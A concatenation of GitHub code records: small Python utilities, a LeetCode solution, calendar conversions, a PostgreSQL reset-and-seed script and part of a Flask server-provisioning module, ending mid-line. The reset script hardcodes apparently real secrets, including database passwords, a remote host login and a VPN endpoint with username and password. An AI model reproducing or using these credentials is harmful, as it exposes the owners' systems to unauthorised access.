"line_number": 20, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 24, "usage_type": "call"}]} {"seq_id": "34892104808", "text": "import os\nfrom pathlib import Path\n\nfrom itertools import chain\n\nfor root, dirs, files in os.walk('../data/song'):\n for p in chain(dirs, files):\n p = Path(root, p)\n\n if ' ' in str(p):\n r = str(p).replace(' ', '-')\n print(f'found space in file {p} -> {r}')\n p.rename(r)\n\n", "repo_name": "andik/slides4saints", "sub_path": "tools/remove-whitespace.py", "file_name": "remove-whitespace.py", "file_ext": "py", "file_size_in_byte": 320, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.walk", "line_number": 6, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 7, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 8, "usage_type": "call"}]} {"seq_id": "4507849968", "text": "# 在计算机界中，我们总是追求用有限的资源获取最大的收益。\n#\n# 现在，假设你分别支配着 m 个 0 和 n 个 1。另外，还有一个仅包含 0 和 1 字符串的数组。\n#\n# 你的任务是使用给定的 m 个 0 和 n 个 1 ，找到能拼出存在于数组中的字符串的最大数量。每个 0 和 1 至多被使用一次。\n#\n# 来源：力扣（LeetCode）\n# 链接：https://leetcode-cn.com/problems/ones-and-zeroes\n# 著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\nfrom typing import List\nstrs=[\"10\",\"0001\",\"111001\",\"1\",\"0\"]\nm=5\nn=3\nclass Solution:\n def findMaxForm(self, strs: List[str], m: int, n: int) -> int:\n dp=[[ 0 for _ in range(n+1)]for _ in range(m+1)]\n\n for word in strs:\n w0 = word.count(\"0\")\n w1=word.count(\"1\")\n\n for i in range(m,-1,-1):\n for j in range(n,-1,-1):\n if i>=w0 and j>=w1:\n dp[i][j]=max(dp[i-w0][j-w1]+1,dp[i][j])\n return dp[m][n]\n\nprint(Solution().findMaxForm(strs,m,n))\n \n", "repo_name": "zhangler1/leetcodepractice", "sub_path": "动态规划/474. 一和零.py", "file_name": "474. 一和零.py", "file_ext": "py", "file_size_in_byte": 1154, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 15, "usage_type": "name"}]} {"seq_id": "40133402969", "text": "from datetime import datetime\r\nfrom chronometer.tools import timeutil, abbr\r\nfrom itertools import accumulate\r\n\r\n\r\ndef julian_date(date: datetime, reduced: bool = False) -> float:\r\n a = (14 - date.month) // 12\r\n y = date.year + 4800 - a\r\n m = date.month + 12 * a - 3\r\n jdn = date.day + (153 * m + 2) // 5 + y * 365 + y // 4 - y // 100 + y // 400 - 32045\r\n jd = (\r\n jdn\r\n + (date.hour - 12) / 24\r\n + date.minute / 1440\r\n + date.second / 86400\r\n + date.microsecond / 86400000000\r\n )\r\n return jd - 2400000 if reduced else jd\r\n\r\n\r\ndef int_fix_date(date: datetime) -> str:\r\n ordinal = timeutil.day_of_year(date)\r\n if timeutil.is_leap_year(date):\r\n if ordinal > 169:\r\n ordinal -= 1\r\n elif ordinal == 169:\r\n return \"*LEAP DAY*\"\r\n if ordinal == 365:\r\n return \"*YEAR DAY*\"\r\n month, day = divmod(ordinal - 1, 28)\r\n day += 1\r\n week = (ordinal - 1) % 7\r\n return f\"{abbr.weekday[week]} {abbr.Month.ifc[month]} {day:02}\"\r\n\r\n\r\ndef twc_date(date: datetime) -> str:\r\n day = timeutil.day_of_year(date)\r\n\r\n if timeutil.is_leap_year(date):\r\n if day == 366:\r\n return \"*YEAR DAY*\"\r\n elif day == 183:\r\n return \"*LEAP DAY*\"\r\n elif day > 183:\r\n day -= 1\r\n\r\n if day == 365:\r\n return \"*YEAR DAY*\"\r\n weekday = (day - 1) % 7\r\n month = 0\r\n for _ in range(0, 4):\r\n for j in [31, 30, 30]:\r\n if day - j > 0:\r\n day -= j\r\n month += 1\r\n else:\r\n break\r\n return f\"{abbr.weekday[weekday]} {abbr.Month.twc[month]} {day:02}\"\r\n\r\n\r\ndef is_pax_leap_year(year: int):\r\n return (year % 100 % 6 == 0 or year % 100 == 99) and year % 400 != 0\r\n\r\n\r\npax_days = list(\r\n accumulate(\r\n [\r\n 364 + 7 if i % 400 != 0 and any((i % 100 == 99, i % 100 % 6 == 0)) else 364\r\n for i in range(1928, 1928 + 400)\r\n ],\r\n initial=0,\r\n )\r\n)\r\n\r\n\r\ndef pax_date(date: datetime) -> str:\r\n cycle, position = divmod(\r\n (date.replace(tzinfo=None) - datetime(month=1, day=1, year=1928)).days, 146_097\r\n )\r\n day = 0\r\n pax_year = 0\r\n pax_day_of_year = 0\r\n for i in range(len(pax_days)):\r\n pax_year = i + 1928 + 400 * cycle\r\n if pax_days[i] <= position < pax_days[i + 1]:\r\n pax_day_of_year = position - pax_days[i]\r\n break\r\n\r\n month, day = divmod(pax_day_of_year, 28)\r\n\r\n if is_pax_leap_year(pax_year):\r\n if 335 < pax_day_of_year < 343:\r\n month = 12\r\n day = pax_day_of_year - 336\r\n elif pax_day_of_year >= 343:\r\n month = 13\r\n day = pax_day_of_year - 343\r\n else:\r\n if month == 12:\r\n month = 13\r\n\r\n sign = \"+\" if pax_year > date.year else \" \"\r\n return f\"{sign}{abbr.weekday[day % 7]} {abbr.Month.pax[month]} {day + 1:02}\"\r\n\r\n\r\nif __name__ == \"__main__\":\r\n pass\r\n", "repo_name": "rothman857/chronometer", "sub_path": "src/chronometer/tools/cal.py", "file_name": "cal.py", "file_ext": "py", "file_size_in_byte": 2962, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 107, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime", "line_number": 6, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 21, "usage_type": "name"}, {"api_name": "chronometer.tools.timeutil.day_of_year", "line_number": 22, "usage_type": "call"}, {"api_name": "chronometer.tools.timeutil", "line_number": 22, "usage_type": "name"}, {"api_name": "chronometer.tools.timeutil.is_leap_year", "line_number": 23, "usage_type": "call"}, {"api_name": "chronometer.tools.timeutil", "line_number": 23, "usage_type": "name"}, {"api_name": "chronometer.tools.abbr.weekday", "line_number": 33, "usage_type": "attribute"}, {"api_name": "chronometer.tools.abbr", "line_number": 33, "usage_type": "name"}, {"api_name": "chronometer.tools.abbr.Month", "line_number": 33, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 36, "usage_type": "name"}, {"api_name": "chronometer.tools.timeutil.day_of_year", "line_number": 37, "usage_type": "call"}, {"api_name": "chronometer.tools.timeutil", "line_number": 37, "usage_type": "name"}, {"api_name": "chronometer.tools.timeutil.is_leap_year", "line_number": 39, "usage_type": "call"}, {"api_name": "chronometer.tools.timeutil", "line_number": 39, "usage_type": "name"}, {"api_name": "chronometer.tools.abbr.weekday", "line_number": 58, "usage_type": "attribute"}, {"api_name": "chronometer.tools.abbr", "line_number": 58, "usage_type": "name"}, {"api_name": "chronometer.tools.abbr.Month", "line_number": 58, "usage_type": "attribute"}, {"api_name": "itertools.accumulate", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 76, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 78, "usage_type": "call"}, {"api_name": "chronometer.tools.abbr.weekday", "line_number": 103, "usage_type": "attribute"}, {"api_name": "chronometer.tools.abbr", "line_number": 103, "usage_type": "name"}, {"api_name": "chronometer.tools.abbr.Month", "line_number": 103, "usage_type": "attribute"}]} {"seq_id": "31920682389", "text": "import psycopg2\nfrom psycopg2 import Error \nfrom datetime import date\nfrom datetime import datetime\nimport datetime\nfrom cryptography.fernet import Fernet\nusername = \"admin\"\npassword = \"pplus@123\"\nrole = \"admin\" \n# key = Fernet.generate_key()\n# fernet = Fernet(key)\n# password = fernet.encrypt(password.encode())\n# key = Fernet.generate_key().decode()\ndef connect():\n connection = psycopg2.connect(user=\"postgres\",password=\"pplus1234\",host=\"127.0.0.1\",port=\"5432\",database=\"python2565\")\n return connection\n\ntry:\n connection = connect()\n table = ['accounts','circuit','contract','equipment','event_logs','interface','project','site']\n cursor = connection.cursor()\n for i in table:\n cursor = connection.cursor()\n sql = 'DROP TABLE '+i\n cursor.execute(sql)\n connection.commit()\nexcept (Exception, psycopg2.DatabaseError) as error: \n print(error) \ntry:\n connection = connect()\n #connection = psycopg2.connect(user=\"webadmin\",password=\"BFCqhr46914\", host=\"node4943-env-2254395.th.app.ruk-com.cloud\", port=\"11043\", database=\"pythonlogin\")\n\n try:\n # cursor = connection.cursor()\n # # TABLE accounts\n # create_table_guery = '''CREATE TABLE accounts \n # (user_id SERIAL PRIMARY KEY,\n # username VARCHAR(50) NOT NULL,\n # password VARCHAR(5000) NOT NULL,\n # role VARCHAR(50) NOT NULL,\n # key_password VARCHAR(5000) NOT NULL); '''\n # cursor.execute(create_table_guery)\n # connection.commit()\n cursor = connection.cursor()\n # TABLE accounts\n create_table_guery = '''CREATE TABLE accounts \n (user_id SERIAL PRIMARY KEY,\n username VARCHAR(50) NOT NULL,\n password VARCHAR(5000) NOT NULL,\n role VARCHAR(50) NOT NULL); '''\n cursor.execute(create_table_guery)\n connection.commit()\n except (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \n try:\n #TABLE circuit\n create_table_guery = '''CREATE TABLE circuit\n (circuit_id VARCHAR(50) PRIMARY KEY,\n equipment_ref VARCHAR(50) ,\n ip_address_pe VARCHAR(50) ,\n ip_address_ce VARCHAR(50) ,\n subnet VARCHAR(50) ,\n loopback VARCHAR(50) ,\n circuit_type VARCHAR(50) ,\n link_number VARCHAR(50) ,\n original_isp VARCHAR(255) ,\n owner_isp VARCHAR(255) ,\n isp_contact_tel VARCHAR(255)); ''' \n cursor.execute(create_table_guery)\n connection.commit()\n except (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \n try: \n create_table_guery = '''CREATE TABLE event_logs\n (id SERIAL PRIMARY KEY,\n username VARCHAR(50) ,\n time timestamp ,\n event VARCHAR(500)); ''' \n cursor.execute(create_table_guery)\n connection.commit()\n except (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \n try: \n #TABLE interface\n create_table_guery = '''CREATE TABLE interface\n (interface_id SERIAL PRIMARY KEY,\n circuit_id VARCHAR(50),\n equipment_serial VARCHAR(50),\n equipment_brand VARCHAR(50),\n equipment_model VARCHAR(50),\n physical_interface VARCHAR(50),\n vlan_id VARCHAR(50),\n tunnel_interface_name VARCHAR(255)); '''\n cursor.execute(create_table_guery)\n connection.commit()\n except (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \n\n try:\n #TABLE equipment\n create_table_guery = '''CREATE TABLE equipment \n (serial_number VARCHAR(50) PRIMARY KEY,\n project_name VARCHAR(50) ,\n site_name VARCHAR(5000) ,\n brand VARCHAR(50) ,\n model VARCHAR(50) ,\n disty_name VARCHAR(500) ,\n disty_contact VARCHAR(500) ,\n open_case_contact VARCHAR(50) ,\n start_of_warranty timestamp ,\n end_of_warranty timestamp ,\n ha_status VARCHAR(50) ,\n ha VARCHAR(50)); ''' \n cursor.execute(create_table_guery)\n connection.commit()\n except (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \n try:\n #TABLE project\n create_table_guery = '''CREATE TABLE project \n (project_name VARCHAR(50) PRIMARY KEY,\n s_o VARCHAR(50) ,\n customer_start_of_contract timestamp ,\n customer_end_of_contract timestamp ,\n disty_start_of_contract timestamp ,\n disty_end_of_contract timestamp ,\n vpn_detail VARCHAR(5000) ,\n Important_Detail VARCHAR(5000) ,\n Addition_Detail VARCHAR(5000) ,\n Remark VARCHAR(5000)); ''' \n cursor.execute(create_table_guery)\n connection.commit()\n except (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \n try: \n #TABLE contract\n create_table_guery = '''CREATE TABLE contract \n (contrat_id SERIAL PRIMARY KEY,\n project_name VARCHAR(50) ,\n role VARCHAR(50) ,\n name VARCHAR(50) ,\n tel VARCHAR(50) ,\n additional_detail VARCHAR(5000)); '''\n cursor.execute(create_table_guery)\n connection.commit()\n except (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \n try: \n #TABLE site\n create_table_guery = '''CREATE TABLE site \n (site_id SERIAL PRIMARY KEY,\n project_name VARCHAR(50) ,\n site_name VARCHAR(50),\n location VARCHAR(5000),\n site_short_name VARCHAR(50),\n contact_owner_site VARCHAR(5000),\n contact VARCHAR(50),\n type VARCHAR(50));''' \n cursor.execute(create_table_guery)\n connection.commit()\n except (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \n print(\"Table created successfully in PostgreSOL \")\n\nexcept (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \nfinally:\n #closing database connection.\n if(connection):\n cursor.close()\n connection.close()\n print(\"PostgreSOL connection is closed\")\ntry:\n connection = connection = connect()\n #connection = psycopg2.connect(user=\"webadmin\",password=\"BFCqhr46914\", host=\"node4943-env-2254395.th.app.ruk-com.cloud\", port=\"11043\", database=\"pythonlogin\")\n\n cursor = connection.cursor()\n try:\n # postgres_insert_query = \"\"\" INSERT INTO accounts (username, password, role, key_password) VALUES (%s,%s,%s,%s)\"\"\"\n # cursor.execute(postgres_insert_query,(username,password,role,key))\n # connection.commit()\n postgres_insert_query = \"\"\" INSERT INTO accounts (username, password, role) VALUES (%s,%s,%s)\"\"\"\n cursor.execute(postgres_insert_query,(username,password,role))\n connection.commit()\n except Exception as error:\n print(error,\"user\")\n # postgres_insert_query = \"\"\" INSERT INTO circuit (equipment_ref, circuit_id, ip_address_pe,ip_address_ce,subnet,loopback,circuit_type,\n # link_number,original_isp,owner_isp,isp_contact_tel) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\"\"\n # cursor.execute(postgres_insert_query,(equipment_ref,circuit_id,ip_address_pe,ip_address_ce,subnet,loopback,circuit_type,\n # link_number,original_isp,owner_isp,isp_contact_tel))\n try:\n data = [[\"Demo_data\",\"FG200FT922929184_Demo\",\"Fortinet\",\"FG-600E\",\"SiS Distribution (Thailand) PCL.\",\"074-559082-4\",\"support_pack@sisthai.com\",\n \"16/02/2001\",\"16/02/2002\",\"Yes\",\"MAIN\",\"Demo_project\"]]\n for i in data:\n cursor = connection.cursor()\n cursor.execute('SELECT * FROM equipment')\n equipment_for_count = cursor.fetchall()\n if i[1] == \"-\":\n i[1] = str(len(equipment_for_count))\n if i[7] != \"-\":\n i[7] = datetime.datetime.strptime(i[7], '%d/%m/%Y')\n if i[8] != \"-\":\n i[8] = datetime.datetime.strptime(i[8], '%d/%m/%Y')\n\n if i[7] == \"-\":\n d = \"2001/2/16\"\n i[7] = d\n i[7] = datetime.datetime.strptime(i[7], '%Y/%m/%d')\n if i[8] == \"-\":\n d = \"2002/2/16\"\n i[8] = d\n i[8] = datetime.datetime.strptime(i[8], '%Y/%m/%d')\n cursor.execute('SELECT * FROM equipment WHERE serial_number = %s AND site_name = %s AND project_name = %s',(i[1],i[0],i[-1],))\n data_in_base = cursor.fetchall()\n if data_in_base:\n print(\"ERROR_equipment\")\n else:\n postgres_insert_query = \"\"\" INSERT INTO equipment (serial_number, project_name,site_name, brand,model,disty_name,disty_contact,\n open_case_contact,start_of_warranty,end_of_warranty,ha_status,ha) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\"\"\n cursor.execute(postgres_insert_query,(i[1],i[-1],i[0],i[2],i[3],i[4],i[5],i[6],i[7],i[8],i[9],i[10]))\n connection.commit()\n except Exception as error:\n print(error,\"equipment\")\n\n try:\n data = [[\"Demo_project\",\"SO200162_Demo\",\"01/10/2022\",\"01/10/2023\",\"01/10/2022\",\"01/10/2023\",\"IP : 58.97.106.134\\nPort : 10443\\nUsername : pplus\\nPassword : pplus@123\",\n \"Fortimanager IP : 10.x.x.x\",\"ผู้ติดต่อหลัก : XXXXXXXXXX\",\"Suradech _Test\"]]\n for i in data:\n if i[2] != \"-\":\n i[2] = datetime.datetime.strptime(i[2], '%d/%m/%Y')\n if i[3] != \"-\":\n i[3] = datetime.datetime.strptime(i[3], '%d/%m/%Y')\n if i[4] != \"-\":\n i[4] = datetime.datetime.strptime(i[4], '%d/%m/%Y')\n if i[5] != \"-\":\n i[5] = datetime.datetime.strptime(i[5], '%d/%m/%Y')\n\n if i[2] == \"-\":\n d = \"2001/2/16\"\n i[2] = d\n i[2] = datetime.datetime.strptime(i[2], '%Y/%m/%d')\n if i[3] == \"-\":\n d = \"2002/2/16\"\n i[3] = d\n i[3] = datetime.datetime.strptime(i[3], '%Y/%m/%d')\n if i[4] == \"-\":\n d = \"2001/2/16\"\n i[4] = d\n i[4] = datetime.datetime.strptime(i[4], '%Y/%m/%d')\n if i[5] == \"-\":\n d = \"2002/2/16\"\n i[5] = d\n i[5] = datetime.datetime.strptime(i[5], '%Y/%m/%d')\n #print(data , 'new data')\n #print(i[0])\n cursor.execute('SELECT * FROM project WHERE project_name = %s ',(i[0],))\n data_in_base = cursor.fetchall()\n if data_in_base:\n print(\"ERROR_project\")\n else:\n postgres_insert_query = \"\"\" INSERT INTO project (project_name,s_o,customer_start_of_contract,customer_end_of_contract,\n disty_start_of_contract,disty_end_of_contract,vpn_detail,Important_Detail,\n Addition_Detail,Remark) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\"\"\n cursor.execute(postgres_insert_query,(i[0],i[1],i[2],i[3],i[4],i[5],i[6],i[7],i[8],i[9]))\n connection.commit()\n except Exception as error:\n print(error,\"project\")\n\n try:\n data = [[\"Demo_data\",\"Sale PPLUS\",\"Suchat Onjai\",\"088-8888888\",\"เก็บข้อมูล detail ขนาดใหญ่ เว้นบรรทัดได้ \"]]\n for i in data:\n cursor.execute('SELECT * FROM contract WHERE project_name = %s AND role = %s AND name = %s',(i[0],i[1],i[2],))\n data_in_base = cursor.fetchall()\n if data_in_base:\n print(\"ERROR_contract\")\n else:\n postgres_insert_query = \"\"\" INSERT INTO contract (project_name,role,name,tel,\n additional_detail) VALUES (%s,%s,%s,%s,%s)\"\"\"\n cursor.execute(postgres_insert_query,(i[0],i[1],i[2],i[3],i[4]))\n connection.commit()\n except Exception as error:\n print(error,\"contract\")\n try:\n data = [[\"Demo_project\",\"Demo_data\",\"394 ชั้น4 ตึกธนาคารกรุงเทพ , ตรงข้ามสยามพารากอน, ปทุมวัน, เขตปทุมวัน กรุงเทพมหานคร 10330\",\"088-8888888\",\"เก็บข้อมูล detail ขนาดใหญ่ เว้นบรรทัดได้ \",\n \"SPTR\",\"-\",\"-\",\"HQ\"]]\n for i in data:\n cursor.execute('SELECT * FROM site WHERE project_name = %s AND site_name = %s AND location = %s',(i[0],i[1],i[2],))\n data_in_base = cursor.fetchall()\n if data_in_base:\n print(\"ERROR_site\")\n else:\n postgres_insert_query = \"\"\" INSERT INTO site (project_name,site_name,location,site_short_name,\n contact_owner_site,contact,type) VALUES (%s,%s,%s,%s,%s,%s,%s)\"\"\"\n cursor.execute(postgres_insert_query,(i[0],i[1],i[2],i[3],i[4],i[5],i[6]))\n connection.commit()\n except Exception as error:\n print(error,\"site\")\n\n try:\n data = [[\"9610663051\",\"FG200FT922929184_Demo\",\"Fortinet\",\"FG-200F\",\"Wan3\",\"-\",\"-\"]]\n for i in data:\n cursor.execute('SELECT * FROM interface WHERE circuit_id = %s AND equipment_serial = %s AND equipment_brand = %s',(str(i[0]),str(i[1]),str(i[2]),))\n data_in_base = cursor.fetchall()\n if data_in_base:\n print(\"ERROR_interface\")\n else:\n postgres_insert_query = \"\"\" INSERT INTO interface (circuit_id,equipment_serial,equipment_brand,\n equipment_model,physical_interface,vlan_id,tunnel_interface_name) VALUES (%s,%s,%s,%s,%s,%s,%s)\"\"\"\n cursor.execute(postgres_insert_query,(str(i[0]),str(i[1]),str(i[2]),str(i[3]),str(i[4]),str(i[5]),str(i[6])))\n connection.commit()\n except Exception as error:\n print(error,'interface')\n\n try:\n data = [[\"FG200FT922929184_Demo\",\"9610663051_Demo\",\"171.103.24.161\",\"171.103.24.162\",\"255.255.255.252\",\"10.11.220.166\",\"Internet\",\"3\",\"CAT\",\"TRUE\",\"1239*6\"]]\n for i in data:\n cursor = connection.cursor()\n cursor.execute('SELECT * FROM circuit')\n circuit_for_count = cursor.fetchall()\n if i[1] == \"-\":\n i[1] = str(len(circuit_for_count))\n i[-3] = str(i[-3]).upper()\n i[-4] = str(i[-4]).upper()\n #print(i)\n cursor = connection.cursor()\n #cursor.execute('SELECT * FROM circuit WHERE equipment_ref = %s AND owner_isp = %s', (a, b,))\n cursor.execute('SELECT * FROM circuit WHERE circuit_id = %s AND equipment_ref = %s AND ip_address_pe = %s',(str(i[1]),str(i[0]),str(i[2]),))\n data_in_base = cursor.fetchall()\n if data_in_base:\n print(\"ERROR_circuit\")\n else:\n postgres_insert_query = \"\"\" INSERT INTO circuit (circuit_id, equipment_ref, ip_address_pe,ip_address_ce,subnet,loopback,circuit_type,\n link_number,original_isp,owner_isp,isp_contact_tel) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\"\"\n cursor.execute(postgres_insert_query,(str(i[1]),str(i[0]),str(i[2]),str(i[3]),str(i[4]),str(i[5]),str(i[6]),\n str(i[7]),str(i[8]),str(i[9]),str(i[10])))\n connection.commit()\n except Exception as error:\n print(error,'circuit')\n\n\nexcept (Exception, psycopg2.DatabaseError) as error: \n print(\"Error while creating PostgreSQL table\", error) \nfinally:\n #closing database connection.\n if(connection):\n cursor.close()\n connection.close()\n print(\"PostgreSOL connection is closed\")", "repo_name": "NatSuraden/noc_noc_project", "sub_path": "noc_project/setup/reset.py", "file_name": "reset.py", "file_ext": "py", "file_size_in_byte": 16683, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "psycopg2.connect", "line_number": 15, "usage_type": "call"}, {"api_name": "psycopg2.DatabaseError", "line_number": 27, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 53, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 71, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 81, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 96, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 116, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 133, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 146, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 161, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 165, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 201, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 201, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 203, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 203, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 208, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 208, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 212, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 212, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 230, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 230, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 232, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 232, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 234, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 234, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 236, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 236, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 241, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 241, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 245, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 245, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 249, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 249, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 253, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 253, "usage_type": "attribute"}, {"api_name": "psycopg2.DatabaseError", "line_number": 341, "usage_type": "attribute"}]} {"seq_id": "73507044382", "text": "# -*- coding: utf-8 -*-\n\nfrom flask import flash, json, url_for\nfrom flask.ext.login import current_user\n\nimport urllib, hashlib\nimport urllib2, re\nimport smtplib, mimetypes\nimport socket\n\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.Header import Header\nfrom email.mime.image import MIMEImage\nfrom xml.dom import minidom\nfrom time import localtime, strftime\n\nfrom sa import app, db\nfrom sa.models import Stype, Smodel, Sapply, Approver, ZeusItem, ZeusIP, ZeusNetwork, ZeusUser, Server, Sapply, UserDB\n\n\ndef get_user_by_username():\n ret = {}\n\n for u in UserDB.query.all():\n ret[u.username] = u\n gravatar_url = \"http://www.gravatar.com/avatar/\" + hashlib.md5(u.email.lower()).hexdigest() + \"?\"\n gravatar_url += urllib.urlencode({'s':str(80)})\n ret[u.username].gravatar_url = gravatar_url\n\n return ret\n\n\ndef get_zeususer_by_username():\n ret = {}\n for u in ZeusUser.query.all():\n ret[u.user_name] = u\n return ret\n\n\ndef get_stype_by_id():\n ret = {}\n stype = Stype.query.all()\n\n for t in stype:\n ret[t.id] = t\n\n return ret\n\n\ndef get_approver_by_id():\n ret = {}\n approver = Approver.query.all()\n\n for a in approver:\n ret[a.id] = a\n\n return ret\n\n\ndef get_smodel_by_id():\n ret = {}\n stype = get_stype_by_id()\n approver = get_approver_by_id()\n smodel = Smodel.query.all()\n\n for m in smodel:\n ret[m.id] = m\n ret[m.id].stype_name = stype[m.stype_id].name\n ret[m.id].if_t = stype[m.stype_id].if_t\n try:\n ret[m.id].approver_value = approver[m.approver_id].value\n except:\n ret[m.id].approver_value = None\n\n return ret\n\n\ndef get_server_by_apply_id():\n ret = {}\n server = Server.query.all()\n\n for s in server:\n if ret.has_key(s.apply_id):\n ret[s.apply_id].append(s)\n else:\n ret[s.apply_id] = [s]\n\n return ret\n\n\ndef get_apply_by_id():\n ret = {}\n apply = Sapply.query.all()\n\n for a in apply:\n ret[a.id] = a\n\n return ret\n\n\ndef vm_to_zeus(xml, apply):\n user_dict = get_user_by_username()\n zeususer_dict = get_zeususer_by_username()\n\n xmldoc = minidom.parseString(xml)\n id = xmldoc.getElementsByTagName('ID')[0].firstChild.nodeValue\n ip = xmldoc.getElementsByTagName('IP')[0].firstChild.nodeValue\n name = xmldoc.getElementsByTagName('NAME')[0].firstChild.nodeValue\n\n if apply.applier not in zeususer_dict:\n zeususer = ZeusUser(apply.applier, user_dict[apply.applier].email, user_dict[apply.applier].chinese_name, 0, 1, 1, 0)\n db.session.add(zeususer)\n db.session.commit()\n zeususer_dict = get_zeususer_by_username()\n\n zeusitem = ZeusItem(6, 1, 23, '00-00-00-000', name, 1, 21, 2, zeususer_dict[apply.applier].id, zeususer_dict[apply.applier].id, apply.name)\n db.session.add(zeusitem)\n db.session.commit()\n\n zeusnetwork = ZeusNetwork(zeusitem.id, '', ip, 0, 0, 'eth0', 1)\n db.session.add(zeusnetwork)\n db.session.commit()\n\n return zeusitem.id\n\n\ndef check_apply_status(apply_id):\n ret = True\n mail_flag = False\n\n apply = Sapply.query.get(apply_id)\n user_dict = get_user_by_username()\n smodel_dict = get_smodel_by_id()\n\n for i in apply.approver.split('->'):\n if i=='': continue\n if not re.search(':', i) and not mail_flag:\n mail_flag = True\n mail_title = \"您有新的申请需要审批\"\n mail_content = u\"简述：%s
\\n型号：%s -- %s
\\n数量：%d
\\n申请时间：%s
\\n申请人：%s
\\n审批入口：%s%s\" % (\n apply.name, smodel_dict[apply.s_id].stype_name, smodel_dict[apply.s_id].name,\n apply.s_num, apply.apply_date, user_dict[apply.applier].chinese_name,\n app.config['HOST'], url_for('apply.detail', apply_id=apply.id),\n app.config['HOST'], url_for('apply.detail', apply_id=apply.id))\n send_mail(user_dict[i].email, mail_title, mail_content)\n\n if not re.search(':ok', i): ret = False\n\n if ret:\n apply.status = 3\n db.session.add(apply)\n db.session.commit()\n\n return ret\n\n\ndef create_vm(apply_id, days):\n ret = True\n smodel = get_smodel_by_id()\n user_dict = get_user_by_username() \n\n apply = Sapply.query.get(apply_id)\n server_cnt = Server.query.filter(Server.apply_id==apply.id).count()\n\n params = smodel[apply.s_id].template\n if smodel[apply.s_id].if_t:\n params = params.replace(\"ssh_pub_key_here\", user_dict[apply.applier].ssh_pubkey)\n req = urllib2.Request(\"%s/compute\" % app.config['APC_URL'], params)\n req.add_header('Authorization', app.config['APC_AUTH'])\n\n for n in range(1, apply.s_num + 1 - server_cnt):\n try:\n result = urllib2.urlopen(req).read()\n except:\n ret = False\n return ret\n\n xmldoc = minidom.parseString(result)\n vm_id = xmldoc.getElementsByTagName('ID')[0].firstChild.nodeValue\n zeus_id = vm_to_zeus(result, apply)\n\n server = Server(apply_id, zeus_id, vm_id, smodel[apply.s_id].if_t, \n days, strftime(\"%Y-%m-%d 